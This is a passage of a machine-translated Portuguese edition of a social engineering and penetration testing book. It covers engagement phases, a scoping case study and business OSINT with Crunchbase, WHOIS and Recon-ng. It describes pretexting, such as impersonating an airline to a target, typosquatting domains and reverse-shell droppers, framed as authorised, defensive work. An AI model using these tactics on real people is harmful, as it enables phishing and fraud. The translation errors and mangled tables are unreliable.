Cada etapa do processo é a seguinte:


Escopo
Na fase de definição do escopo do processo de engenharia social, você
faz perguntas ao seu cliente para garantir que possui todas as informações
necessárias.

Reconhecimento
Na fase de reconhecimento, você tenta identificar os principais funcionários
da empresa; vendedores, parceiros, fornecedores, tecnologia utilizada;
domínios e subdomínios usados; endereços de e-mail e a sintaxe de
endereço de e-mail padrão da empresa (por exemplo, nomes e sobrenomes
separados por um ponto). Depois de assinar o contrato para realizar o
trabalho, você pode iniciar o reconhecimento dentro dos prazos definidos no
contrato. Além de aderir ao contrato e fazer o reconhecimento de maneira
consistente com seus objetivos de tempo (por exemplo, não gastar 12 horas
coletando OSINT em um único alvo em um engajamento com escopo de 4
horas), você normalmente não pode coletar excesso de OSINT. Dito isso,
algumas entidades apenas mantêm uma boa segurança de operações
(OPSEC): elas não usam mídias sociais ou podem até tomar medidas ativas
para colocar intencionalmente informações enganosas ou falsas em suas
contas para evitar tais ameaças. Chamamos esse processo de desinformação
e engano.

30 Capítulo 3
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Os capítulos 4, 5 e 6 fornecerão algumas das ferramentas para realizar a coleta


OSINT. Lembre-se de que, embora seja importante coletar uma boa quantidade
de informações sobre sua empresa-alvo e seus funcionários, você é responsável
por proteger os dados enquanto os mantém. Você deve manter apenas o que
precisa pelo tempo que precisar e apenas por períodos de tempo legalmente
obrigatórios.

Projeto e Aprovação

Você deve gastar algum tempo garantindo que o OSINT que você reuniu seja
relevante e, em seguida, armazená-lo de uma forma que ajude os funcionários e a
organização-alvo a crescer e aprender. Afinal, mesmo que você esteja tentando
obter acesso a um sistema ou informação, você deve querer ser pego e deve
querer que seus clientes aprendam com suas atividades.

A fase de design e aprovação envolve a criação de possíveis pré-textos para o


seu cliente revisar e aprovar. Você compartilhará os detalhes do pretexto, os
números de telefone de onde ligará, os endereços de e-mail de onde enviará
os e-mails e os horários em que planeja começar e terminar. Explique também
o seu objetivo. Por exemplo, pode ser para medir o número de vezes que os alvos
clicaram nos links incluídos em um e-mail.
Ou talvez você esteja tentando obter informações confidenciais deles ou implantar
malware ou conta- gotas de shell reverso (software que permite conectar-se
remotamente e instalar malware).

Implementação

Na fase de implementação, você instala e configura qualquer software.


Isso inclui infraestrutura como contas de e-mail, servidores da Web, documentos
do Microsoft Office habilitados para macro, malware, unidades USB e outras
iscas. Você também pode obter acesso à lixeira da organização e coletar itens
para levar para análise externa. Você pegará os pretextos que foram aprovados
pelo seu ponto de contato e os colocará em ação, executando phishing, vishing e
outros ataques definidos no SOW.

Detecção

Durante a fase de detecção, os defensores tentarão detectar a atividade de


engenharia social e, em seguida, tomar medidas para mitigar sua eficiência ou
impacto. Dependendo do escopo do engajamento, os defensores podem ou
não saber que o ataque foi autorizado.
Se isso fizer parte de um compromisso da equipe vermelha, provavelmente
não o farão. Embora esta fase pareça menos emocionante do que o ataque real,
é a parte mais importante do processo. Lembre-se de que seu objetivo final é
condicionar as organizações a detectar e mitigar a atividade de engenharia social.

Medição

Na fase de medição, você determina informações como quantas pessoas


foram vítimas das travessuras, quanto tempo durou o noivado

Preparando-se para um Ataque 31


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

para detectar, quando as vítimas registraram uma denúncia, quantas denúncias foram
registradas e uma variedade de outras métricas. Depois de analisar essas informações,
você deve compilá-las em um relatório para o cliente. Discutiremos as técnicas de medição
no Capítulo 9.

Comunicando

Na fase de relatório, você pega as métricas coletadas e as reúne junto com o SOW,
um resumo executivo, uma sinopse de como foi o trabalho e quaisquer descobertas da
coleta OSINT ou desempenho do trabalho. Você pode usar um modelo como o do
Apêndice B para escrever seu relatório. Você apresentará isso ao cliente para seus
registros e revisão. Se você optar por manter uma cópia deste relatório, precisará proteger
o documento, pois as informações nele contidas podem ser mal utilizadas para atacar o
cliente.

Além desse processo de engenharia social, você pode achar útil


para consultar o loop Observe-Orient-Decide-Act (OODA) para a coleção OSINT, que eu uso.
O loop, mostrado na Figura 3-2, solicita que você observe suas descobertas e construa uma
hipótese (a fase de orientação ) e, em seguida, busque mais informações para tentar confirmar
essas informações.

Agir Observar

Decidir Orientar

Figura 3-2: loop OODA

Depois de ter dados suficientes, você pode decidir o que fazer com eles. Você deve se
envolver em phishing ou vishing ou precisa de mais informações para ter sucesso? Você tem
informações suficientes para perpetrar esta penetração

32 Capítulo 3
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

teste ou engajamento da equipe vermelha com a quantidade adequada de discrição?


Então, dependendo do resultado dessas decisões, você age.
A ação pode incluir realizar o ataque ou escrever o relatório (se OSINT for
tudo o que o cliente deseja) ou pode desencadear mais iterações do loop OODA. Não há
resposta certa ou errada aqui; depende de seus objetivos e restrições de tempo conforme
estabelecido em seu contrato com o cliente.
Dito isso, você pode aplicar esse loop a qualquer tipo de ataque, seja
explorar um servidor da web ou explorar o administrador da web.

Estudo de caso: por que o escopo é importante


Em setembro de 2019, dois testadores de penetração que trabalhavam para a Coalfire
foram presos por tentar obter acesso ao tribunal do condado de Dallas em Adel, Iowa.
Embora os detalhes específicos sobre esse envolvimento não estejam disponíveis no
momento, sabemos que a dupla atuou como parte de um teste de penetração autorizado
pela Iowa State Court Administration (SCA). Em declaração à Ars Technica, a SCA admite
ter autorizado a Coalfire a testar a segurança dos registros eletrônicos do tribunal.

De acordo com sua declaração, a SCA não pretendia ou antecipou que os


testadores tentariam obter acesso físico. Os testadores e a Coalfire afirmam que o teste
de penetração foi para determinar a vulnerabilidade dos registros e medir a resposta
da aplicação da lei. Embora isso não pareça totalmente irracional, o fato de que os
testadores foram presos por mais de algumas horas e tiveram que pagar fiança não é
um bom presságio para o escopo desse compromisso.

Com base nas informações fornecidas, os testadores de penetração poderiam ter


feito várias coisas de maneira diferente. É uma boa ideia comunicar-se frequentemente
com os pontos de contato de segurança de seu cliente. Se você tiver dúvidas, não hesite
em perguntar. Além disso, os testadores poderiam ter garantido que tinham uma cópia
autenticada da autorização formal em todos os momentos ao fazer o aspecto de infiltração
física do teste.
Como isso poderia ter sido mitigado ou evitado?

•Faça perguntas para esclarecer o escopo.


•Tenha um diálogo útil com seu contato via e-mail. A comunicação verbal faz as coisas
acontecerem, mas oferece pouca proteção legal.
•A administração deve definir explicitamente não apenas o que é permitido, mas também
o que não é permitido, no contrato e nos documentos de autorização. Isso deve
fazer parte do processo contratual.

Conclusão

Dedicar um tempo para definir adequadamente o envolvimento com seu cliente é uma
ótima maneira de economizar tempo e esforço de ambos. Compreender as perguntas
certas a fazer certamente o ajudará. Prepare-se para o ataque seguindo o processo de
engenharia social. Alguns engenheiros sociais pregam que seu trabalho

Preparando-se para um Ataque 33


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

é trazer o caos para uma empresa. Embora isso seja verdade em certo sentido, você
também deve ter um método para essa loucura para garantir que todos os envolvidos ganhem.
Você recebe o trabalho e continua a promover sua reputação, enquanto o cliente obtém o
que pediu e pagou de uma forma que agrega valor à sua organização e, esperançosamente,
significa novos negócios para você.

34 Capítulo 3
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

4
REUNIÃO DE NEGÓCIOS OSINT

Open Source Intelligence (OSINT) são todos os


dados que você pode encontrar em fontes publicamente
disponíveis e não ocultas. A quantidade e importância
dos dados públicos disponíveis podem fazer ou quebrar seu
campanha. Se você entrar em contato com um alvo sem qualquer
conhecimento de seus gostos e desgostos, ambiente operacional,
estrutura organizacional ou jargão interno da empresa, você
provavelmente falhará.
Por outro lado, reservar um tempo para entender o que faz o clique de destino
fornecerá a você um contexto imediato para o contato. Muitas vezes, as pessoas
tentam realizar operações de engenharia social depois de pular ou apressar a reunião
OSINT, deixando-as sem motivo para falar com seu alvo.

Este capítulo apresenta três categorias OSINT: negócios, pessoas e inteligência


de ameaças cibernéticas. Em seguida, abordarei algumas ferramentas OSINT de negócios
para tarefas úteis, como encontrar nomes de executivos de empresas, descobrir arquivos
disponíveis publicamente, coletar endereços de e-mail e ler metadados de documentos.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Estudo de caso: por que o OSINT é importante


Em 2017, ganhei o prêmio Social Engineering Capture the Flag (SECTF) da DerbyCon.
Este exercício colocou eu e cinco outros concorrentes contra uma empresa desconhecida da
Fortune 500 na área de Louisville, KY. Passamos três semanas coletando OSINT, seguidas de 20
minutos em uma cabine (principalmente) à prova de som para visitar os funcionários da empresa-alvo.
Enquanto pesquisava minha empresa-alvo, verifiquei as contas de mídia social de um executivo e descobri
que ele havia se atrasado para uma reunião de negócios em Amsterdã porque uma companhia aérea

atrasou seu voo em Newark. Essa informação aparentemente inofensiva me deu a desculpa perfeita para
contatá-lo.

Com esse conhecimento, adicionei o número de telefone dessa companhia aérea à minha lista de
números para visitar. Em seguida, obtive o nome, endereço de e-mail e número de telefone do executivo
e os adicionei à minha lista de alvos. Se esse fosse um envolvimento que permitisse phishing, eu teria
enviado um e-mail de desculpas que imitava o modelo da companhia aérea e, em seguida, feito um
telefonema, fingindo ser a companhia aérea. Então eu poderia ter confirmado as informações que já sabia
e feito “perguntas de segurança” para convencer o alvo de que eu era uma fonte confiável. Posso até ter
incorporado alguns sons do sistema operacional Windows para aumentar minha credibilidade. Finalmente,
eu teria feito a ele perguntas potencialmente letais sobre o ambiente operacional da empresa, como o status
das atualizações de equipamentos, cronogramas operacionais ou outros dados confidenciais específicos da
empresa.

Esses ataques seriam impossíveis se eu não tivesse descoberto primeiro a postagem do executivo
sobre seu voo atrasado. Raramente um ataque de engenharia social eficaz acontecerá sem uma
compreensão informada do alvo. Melhor OSINT faz melhor engenharia social.

Compreendendo os tipos de OSINT


OSINT pode ser sobre uma organização, uma pessoa ou um pedaço de código. Na coleta de OSINT de
negócios, procuramos informações sobre a empresa como um todo: tecnologias utilizadas, fornecedores,
clientes, operações e locais.
Para coletar pessoas OSINT, podemos ir em duas direções. Podemos segmentar a própria pessoa,
procurando informações como o que ela gosta, o que não gosta, outras conexões, perguntas de
redefinição de senha e contexto para adivinhar senhas. Alternativamente, podemos alavancar a pessoa
para aprender sobre o negócio para o qual ela trabalha. Esse tipo de OSINT pode incluir fotos da pessoa
no trabalho, currículos, reclamações ou queixas, qualquer coisa que ela tenha se gabado sobre o trabalho
e viagens que fez a trabalho, para citar alguns.

OBSERVAÇÃO Como regra geral, não segmentarei explicitamente as contas pessoais de uma pessoa como parte de
um noivado. Posso coletar informações para usar, mas não tentarei contatá-los em uma conta pessoal do
Facebook, Twitter ou LinkedIn.

O OSINT pode ser usado para ativar a inteligência de ameaças cibernéticas (CTI) , que
geralmente envolve um trecho de código ou um adversário específico. Nós o usamos como um meio
para identificar o autor de um ataque e seus motivos. Por exemplo, você pode rastrear elementos de
código para determinar seu autor ou país. Ou você pode rastrear um endereço de e-mail ou número de
telefone que contatou seu

36 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

organização. As pessoas debatem a eficácia do OSINT para inteligência de ameaças.


Algumas organizações fazem isso muito bem, enquanto outras tentam ganhar dinheiro
rapidamente às custas de seus clientes.

Business OSINT

Esta seção o ajudará a começar a coletar OSINT de negócios. Que contexto você pode
usar para criar relacionamento ao se comunicar com os funcionários de uma empresa?
Examinarei algumas ferramentas de coleta OSINT aqui.

Obtendo informações comerciais básicas do Crunchbase


Várias plataformas podem fornecer informações sobre uma empresa. Enquanto a maioria
cobra por informações detalhadas, alguns permitem a coleta de uma quantidade limitada
de informações gratuitamente ou sem autenticação. Um exemplo desse site é o Crunchbase
(https:// www.crunchbase.com/). O Crunchbase tem um nível gratuito que atende à maioria
das necessidades dos entusiastas casuais do OSINT. Se você planeja usar isso
intensamente ou como consultor profissional, recomendo pagar pelo nível Pro.
A pesquisa no Crunchbase for Walmart exibe um perfil com várias guias.
A Figura 4-1 mostra a guia Resumo, que permite obter um endereço da sede corporativa.
Antes de rolar para baixo, você pode descobrir o número de fusões, aquisições e saídas
das quais a empresa fez parte. Você pode ver o código da bolsa (se for uma empresa de
capital aberto), notícias recentes sobre a empresa e o início de informações fundamentais,
às vezes históricas, sobre a empresa. A Crunchbase reúne essas informações a partir de
uma combinação de informações de analistas, web scraping e auto-relatório, cuja precisão
varia.

Figura 4-1: guia Resumo do perfil Crunchbase para Walmart

Reunião de Negócios OSINT 37


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A guia Finanças fornece informações específicas sobre investimentos,


saídas e arrecadação de fundos (Figura 4-2).
Se a empresa for negociada publicamente, você encontrará a oferta pública inicial (IPO)
e informações sobre o preço das ações. Se você estiver pesquisando uma empresa privada,
verá pouco ou nada nesta seção, ou talvez aprenderia sobre os esforços de arrecadação de
fundos, incluindo valores arrecadados, investidores e datas. Se a empresa investiu dinheiro ou
fez doações, isso será listado a seguir (Figura 4-3), seguido por Saídas e completado por
Aquisições (Figura 4-4).

Figura 4-2: Informações sobre ações do Walmart na guia Crunchbase Financials

Figura 4-3: informações de investimento do Walmart na guia Crunchbase Financials

38 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 4-4: informações de aquisição do Walmart na guia Crunchbase Financials

Em seguida, está a guia Pessoas, que inclui funcionários importantes. Estes são
geralmente executivos que supervisionam determinadas áreas-chave ou pessoas
que tiveram impacto na história da organização. Por exemplo, a Figura 4-5 lista
Sam Walton, o fundador do Walmart, como “Fundador e Administrador” na Equipe
Atual e membro do Conselho de Administração, apesar de ter falecido em 1992.

Figura 4-5: guia Pessoas do perfil Crunchbase para Walmart

Reunião de Negócios OSINT 39


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A guia Tecnologia está quase sempre bloqueada, a menos que você tenha uma conta de nível Pro.
Se você tiver essa conta, esta guia mostrará estatísticas de tráfego da Web, métricas de aplicativos
móveis e informações limitadas sobre as patentes da empresa e outros registros de propriedade
intelectual. Esta informação pode ser encontrada em outro lugar na internet, portanto, ser bloqueado não
é um grande problema. Tente olhar para BuiltWith (https:// www.builtwith.com/), Wappalyzer (https://
www.wappalyzer.com/), ou Shodan (https:// www.shodan.io/).

A guia final, Signals & News, agrega notícias relevantes e mudanças de liderança (Figura 4-6).

Figura 4-6: guia Sinais e notícias do perfil Crunchbase para Walmart

Essa guia também lista eventos com os quais a organização tem alguma afiliação,
seja patrocinando-os ou fazendo com que os funcionários falem com eles. Este é um bom ponto
de partida, mas não substitui outras fontes de informação, incluindo registros públicos, comunicados à
imprensa e relatórios da mídia. (Discutiremos essas fontes nos próximos capítulos.) Essa guia também
pode sugerir possíveis termos de pesquisa que você pode inserir no mecanismo de pesquisa de sua
escolha.

Identificando proprietários de sites com WHOIS


Pronuncia-se “quem é”, WHOIS é um diretório de sites, seus proprietários, seus blocos de rede e seus
pontos de contato. Seu objetivo é permitir que pessoas com consultas comerciais legítimas entrem em
contato com as equipes da web das empresas em relação à presença na web. Para ler mais sobre
isso, consulte RFC 9312.
Você pode pesquisar WHOIS por meio do DomainTools, conforme mostrado na Figura 4-7. O
comando whois é integrado nas versões Offensive Security e Trace Labs Kali e pode ser adicionado
a qualquer sistema Linux via apt-get ou comandos semelhantes para outras distribuições do Linux.

40 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A parte superior da página mostra os domínios semelhantes ao domínio do alvo


e que estão em leilão. Isso pode ser útil para invasão de domínio e outras tentativas de
phishing ou isca. A falsificação é fácil de detectar e a maioria dos clientes de e-mail tem
proteção contra ela, enfraquecendo seu potencial como engenheiro social. Ocupação de
domínio ou invasão de digitação são mais propensas a receber e-mails através de filtros e
nas caixas de entrada.

Figura 4-7: registro WHOIS do Walmart via DomainTools

Em seguida, observe que a transferência é proibida, o que significa que você provavelmente não conseguirá
para transferir esse domínio para um provedor diferente, uma atividade que as equipes
vermelhas costumam tentar. Observe também a idade do domínio. Isso ajuda a confirmar
que você está olhando para o alvo certo. Como alternativa, esse mesmo recurso pode
revelar que os domínios que você usa são falsos. É por isso que é uma boa ideia comprar
domínios e esperar de seis meses a um ano antes de usá-los.
Em seguida, estão os servidores de nome de domínio que o site usa. Estes podem alguns
horários indicam outros softwares empregados pela empresa. Por exemplo, o
Walmart usa Akamai e UltraDNS. A Akamai também fornece serviços de rede de distribuição
de conteúdo (CDN) (para permitir carregamento de página mais rápido e mitigar ataques
de DOS) e realiza proteção na Web e balanceamento de carga (mitigação adicional de
DOS). Isso é importante saber se você está se preparando para um teste de penetração.
Esteja ciente de que, desde 25 de maio de 2018, o Regulamento Geral de
Proteção de Dados da UE (GDPR) mudou a maneira como o WHOIS é tratado em
sua jurisdição. Isso levou a Corporação da Internet para Nomes e Números Atribuídos
(ICANN), órgão regulador do WHOIS, a alterar as informações apresentadas para
empresas e contatos localizados na UE.

Reunião de Negócios OSINT 41


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Coletando OSINT da linha de comando com Recon-ng


Recon-ng é uma ferramenta de linha de comando para Linux, escrita por Tim Tomes, para
coletar OSINT. Funciona de forma muito semelhante ao Metasploit: você pode inserir informações,
definir alvos e, em seguida, usar o comando run para realizar uma pesquisa.
Uma infinidade de ferramentas é incorporada ao Recon-ng para coletar OSINT de
negócios e pessoas, variando de e-mails violados de Have I Been Pwned (discutido no Capítulo
6) e netblocks de registros DNS para hosts ou portas de Shodan (discutido no Capítulo 5 ).
Você pode encontrar a maioria das coisas que procura aprender sobre uma empresa usando o
Recon-ng.

Instalando Recon-ng

O Recon-ng vem pré-instalado nas versões Offensive Security e Trace Labs Kali. Para usar
o Recon-ng em um sistema Linux diferente, você precisará do Python 3, a ferramenta de
gerenciamento de pacotes pip3 e do Git. Então você pode instalá-lo no diretório /opt com os
seguintes comandos:

root@se-book:/opt# git clone https://github.com/lanmaster53/recon-ng


Clonagem em 'recon-ng'...
---recorte--
Resolvendo deltas: 100% (4824/4824), concluído.
root@se-book:/opt# cd recon-ng/
root@se-book:/opt/recon-ng# ls -la
--recorte--
-rw-r--r-- 1 raiz raiz 97 Set 25 18:37 REQUISITOS
--recorte--
-rwxr-xr-x 1 root root 2498 25 de setembro 18:37 recon-ng
-rwxr-xr-x 1 raiz raiz 97 Set 25 18:37 recon-web
root@se-book:/opt/recon-ng# python3 -m pip install -r REQUISITOS
Requisito já satisfeito: pyyaml in /usr/lib/python3/dist-packages (de -r REQUIREMENTS (linha 2))

Coletando dnspython (de -r REQUIREMENTS (linha 3))


Baixando https://files.pythonhosted.org/packages/ec/d3/3aa0e7213ef72b8585747aa0e271a9523e7
13813b9a20177ebe1e939deb0/dnspython-1.16.0-py2.py3-none-any.whl (188kB)
100% |ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ| 194kB 5,6MB/s

Configurando um espaço de trabalho

O Recon-ng permite definir áreas de trabalho separadas, o que é ótimo para manter
segmentadas as informações coletadas. Você pode definir o espaço de trabalho ao abrir o Recon-
ng e armazenar os dados coletados em seu próprio banco de dados SQLite exclusivo. Se eu
estiver procurando por várias entidades ou empresas como parte da mesma investigação, darei
a elas seu próprio espaço de trabalho para não me confundir ao revisar as informações coletadas.
Se você não definir um espaço de trabalho, o Recon-ng gravará todos os resultados no espaço de
trabalho padrão e no banco de dados associado.
Para usar um espaço de trabalho ao iniciar o Recon-ng, execute o seguinte:

recon-ng -w nome do espaço de trabalho

42 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Por exemplo, se eu estivesse investigando o Walmart, poderia executar isto:

recon-ng -w walmart

O espaço de trabalho resultante ficaria assim:

[recon-ng][wamart]

Se você já estiver no Recon-ng, poderá visualizar os espaços de trabalho disponíveis por emissão
ing o comando workspace list .

OBSERVAÇÃO Você não pode fazer isso enquanto um módulo estiver carregado, portanto, nessa situação, você precisará
executar o comando back .

Se você deseja carregar um espaço de trabalho existente, pode emitir este comando:

carga do espaço de trabalho nome do espaço de trabalho

Você também pode criar um espaço de trabalho usando o seguinte:

espaço de trabalho criar nome do espaço de trabalho

Depois que você não precisar mais de nenhuma informação em um espaço de trabalho
e seus requisitos de retenção foram aprovados, você pode removê-lo:

espaço de trabalho remover nome do espaço de trabalho

Instalando módulos de reconhecimento

Em seguida, você deve habilitar e instalar os módulos. Vamos ver quais módulos estão disponíveis
usando a pesquisa de mercado:

[recon-ng][wamart] > pesquisa de mercado


+------------------------------------------------- ----------------------------------------+
|. Caminho | Versão | Status | Atualizado | D | K |
+------------------------------------------------- ----------------------------------------+

| descoberta/info_divulgação/cache_snoop | 1.0 | não instalado | 2019-06-24 | | descoberta/info_divulgação/ | |


arquivos_interessantes | 1.0 | não instalado | 2019-06-24 | | exploit/injection/command_injector.
2019-06-24 | | exploração/injeção/xpath_bruter
| 1.0 | não instalado | | | |
1.1 | não instalado | 2019-08-19 | | importar/arquivo_csv | 1.1 | não instalado
| 2019-06-24
| 2019-08-09
| | | importar/listar | 1.0 | não instalado | |
| |
| |
| |

Você pode instalar os módulos de duas maneiras: um por um ou todos de uma vez. Para instalar
um único módulo, digite o seguinte comando, substituindo import/ csv_file
com o caminho completo do módulo:

[recon-ng][wamart] > importação de instalação do mercado /arquivo csv_


[*] Módulo instalado: import/csv_file
[*] Recarregando módulos...

Reunião de Negócios OSINT 43


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Para instalar todos os módulos disponíveis, use o seguinte comando:

[recon-ng][wamart] > marketplace instalar tudo


[*] Módulo instalado: discovery/info_disclosure/cache_snoop
[*] Módulo instalado: discovery/info_disclosure/interesting_files
[*] Módulo instalado: exploit/injection/command_injector
--recorte--
[*] Módulo instalado: reporting/xml
[*] Recarregando módulos...
[!] Chave 'google_api' não definida. módulo pushpin provavelmente falhará em tempo de execução. Consulte 'adicionar chaves'.
[!] Chave 'bing_api' não definida. O módulo bing_linkedin_cache provavelmente falhará no tempo de execução. Consulte 'adicionar chaves'.

[!] Chave 'censysio_id' não definida. módulo censysio provavelmente falhará em tempo de execução. Consulte 'adicionar chaves'.

OBSERVAÇÃO Ignore os avisos sobre chaves de API ausentes. Importaremos chaves de API apenas para os módulos de
que precisamos.

Adquirindo e adicionando chaves de API

Para que algumas das ferramentas acessem recursos externos, você precisará adicionar
chaves de API de vários sites. Cada site tem seu próprio processo para obter essas
chaves, e esses procedimentos tendem a mudar com frequência. Você pode encontrar
meu tutorial atualizado para obter essas chaves de API em https:// www.theosintion
.com/ practical-social-engineering/ ou verifique as páginas de chaves de API nos sites
de cada ferramenta.
Depois de obter as chaves, use a seguinte sintaxe no Recon-ng para adicioná-las:

chaves adicionar nome do valor do módulo

Verifique se Recon-ng tem a chave no banco de dados com o seguinte


comando:

lista de chaves

Encontrando e executando módulos


Recon-ng Existem cinco tipos de módulos Recon-ng: descoberta, exploração, importação,
reconhecimento e relatório. Neste livro, usaremos os tipos de módulo de descoberta,
reconhecimento e relatório.
Para ver os módulos relativos a um tipo específico, use o comando search , seguido
do nome do tipo:

descoberta de pesquisa de módulos

Se você conhece parte do nome do módulo, pode usar a função de pesquisa para
localizá-lo, assim:

módulos de pesquisa hibp

44 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Você também pode invocar um módulo diretamente com o comando modules load se souber
o nome do módulo ou o início do nome do módulo:

módulos carregam metacr

O comando anterior carregará o módulo metacrawler . Agora vamos


explorar alguns desses módulos com mais detalhes.
Para definir um destino para um módulo, você precisará saber quais entradas o módulo
aceita. Descubra isso emitindo o comando info . Assim que estiver pronto para inserir um destino
ou valor em um dos campos aceitos, emita o comando de conjunto de opções NAME OF FIELD
VALUE OF FIELD .

Enumerando arquivos com Metacrawler

O módulo metacrawler pesquisa um site ou sites de destino para arquivos Microsoft Power
Point, Word, Excel e PDF. É o equivalente a fazer uma besteira do Google — escrever longas
consultas de pesquisa, como esta:

site:nostarch.com Tipo de arquivo:XLS* OU Tipo de arquivo:DOC* OU Tipo de arquivo:PPT* ou Tipo de arquivo:PDF

Por exemplo, para pesquisar nostarch.com para todos os tipos de arquivo, use o seguinte
comandos:

[recon-ng][default][metacrawler] > conjunto de opções SOURCE nostarch.com


FONTE => nostarch.com
[recon-ng][padrão][metacrawler] > executar
------------
NOSTARCH.COM
------------

[*] Pesquisando no Google por: site:nostarch.com tipo de arquivo:pdf OU tipo de arquivo:docx OU tipo de
arquivo:xlsx OU tipo de arquivo:pptx OU tipo de arquivo:doc OU tipo de arquivo:xls OU tipo de arquivo:ppt

[*] https://www.nostarch.com/download/WGC_Chapter_3.pdf
[*] Produtor: Acrobat Distiller 6.0 (Windows)
[*] Título: Escreva um ótimo código
[*] Autor: (c) 2004 Randall Hyde
[*] Criador: PScript5.dll Versão 5.2
[*] Moddate: D:20041006112107-07'00'
[*] Data de criação: D:20041006111512-07'00'
[*] https://www.nostarch.com/download/wcss_38.pdf
[*] Produtor: Acrobat Distiller 5.0 (Windows)
[*] Título: wcss_book03.book
[*] Autor: Riley
[*] Criador: PScript5.dll Versão 5.2
[*] Moddate: D:20040206172946-08'00'
[*] Data de criação: D:20040116180100Z

Se Extrair for definido como Verdadeiro, esse comando gera todos os documentos no
site público do destino que estão nos formatos PDF ou Microsoft Office (Excel,
Word ou PowerPoint) com um link para o arquivo e metadados, incluindo o

Reunião de Negócios OSINT 45


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

autor, o software que o criou, a data de modificação, o software que o produziu e a data
em que foi criado. Se Extract for definido como False, a saída fornecerá apenas o nome
do arquivo e o link.
Dada esta informação, você pode fazer inúmeras coisas. do meta
dados, você pode enumerar usuários, sistemas operacionais e softwares usados.
Nos próprios arquivos, você pode encontrar informações que o alvo pretende manter em
sigilo, incluindo nomes, endereços de e-mail, números de telefone e fax, locais e assuntos
comerciais importantes.

Encontrando pontos de contato do domínio com whois_pocs

O módulo whois_pocs enumera todos os pontos de contato conhecidos para um


determinado domínio. É mais robusto para esse recurso do que o módulo whois_miner
e funciona mesmo contra alvos com privacidade de domínio. Aqui está um exemplo de
execução deste módulo no Walmart:

[recon-ng][default][whois_pocs] > módulos carregam whois_pocs


[recon-ng][default][whois_pocs] > opções definidas FONTE walmart.com
FONTE => nostarch.com
[recon-ng][default][whois_pocs] > info
Nome: Whois POC Harvester
Caminho: modules/recon/domains-contacts/whois_pocs.py
Autor: Tim Tomes (@LaNMaSteR53)
Descrição:
Usa o ARIN Whois RWS para coletar dados POC de consultas whois para o determinado
domínio. Atualiza a tabela 'contatos' com os resultados.
Opções:
Nome Valor Atual Descrição Necessária
------ ------------- -------- -----------

FONTE walmart.com sim fonte de entrada (veja 'mostrar informações' para


detalhes)
Opções de fonte:
predefinição SELECT domínio DISTINCT FROM domínios ONDE o domínio NÃO É NULO
<string> string representando uma única entrada
<path> caminho para um arquivo contendo uma lista de entradas
query consulta de banco de dados <sql> retornando uma coluna de entradas
[recon-ng][padrão][whois_pocs] > executar
-----------
WALMART.COM
-----------

[*] URL: http://whois.arin.net/rest/pocs;domain=walmart.com


[*] URL: http://whois.arin.net/rest/poc/ABUSE327-ARIN
[*] País: Estados Unidos
[*] E-mail: abuse@walmart.com
[*] First_Name: Nenhum
[*] Sobrenome: Abuso
[*] Middle_Name: Nenhum
[*] Notas: Nenhuma
[*] Telefone: Nenhum
[*] Região: Brisbane, CA
[*] Título: Contato Whois
[*] ----------------------------------------------- ---

46 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Lembre-se de que algumas organizações não publicam suas informações WHOIS.

Usando mx_spf_ip para aprender sobre as políticas de e-mail de um domínio

O módulo mx_sfp_ip recupera o registro DNS mail exchanger (MX) para um domínio.
O registro MX define como o domínio processa o e-mail. Ele mostra os servidores de e-
mail usados e todos os registros do Sender Policy Framework (SPF)
que restringem os intervalos de IP dos quais o domínio pode receber e-mails, bem como
domínios que podem enviar e-mails para a organização sem escrutínio.
Usando o registro MX, um invasor pode aproveitar as informações que ele contém
para criar um ataque de falsificação de e-mail bem-sucedido. Por exemplo, o invasor pode
enumerar os intervalos de IP listados no registro e seus domínios associados. Isso pode
fornecer pistas sobre relacionamentos comerciais, fornecedores ou tecnologias usadas.

O comando a seguir recupera o registro MX para nostarch.com. o


saída confirma que o site usa servidores de e-mail do Google, mas a falta de um
O registro SPF indica que o No Starch não implementou o SPF:

[recon-ng][book][mx_spf_ip] > conjunto de opções SOURCE nostarch.com


FONTE => nostarch.com
[recon-ng][book][mx_spf_ip] > executar
[*] Recuperando registros MX para nostarch.com.
[*] [host] alt1.aspmx.l.google.com (<em branco>)
[*] [host] aspmx.l.google.com (<em branco>)
[*] [host] alt3.aspmx.l.google.com (<em branco>)
[*] [host] alt2.aspmx.l.google.com (<em branco>)
[*] [host] alt4.aspmx.l.google.com (<em branco>)
[*] Recuperando registros SPF para nostarch.com.
[*] nostarch.com => Nenhum registro encontrado.

Por outro lado, a seguinte saída nos mostra que o Walmart usa SPF:

[recon-ng][book][mx_spf_ip] > conjunto de opções SOURCE walmart.com


FONTE => walmart.com
[recon-ng][book][mx_spf_ip] > executar
[*] Recuperando registros MX para walmart.com.
[*] 1[host] mxb-000c7201.gslb.pphosted.com (<em branco>)
[*] [host] mxa-000c7201.gslb.pphosted.com (<em branco>)
[*] Recuperando registros SPF para walmart.com.
[*] Registro TXT: "dtOeNuIs42WbSVe3Zf2qizxLw9LSQpFd6bWqCr166oTRIuJ9yKS+etPsGGNOvaiasQk2C6GV0/5Pj
T9CI2nNAg=="
[*] Registro TXT: "google-site-verification=ZZYRwyiI6QKg0jVwmdIha68vuiZlNtfAJ90msPo1i7E"
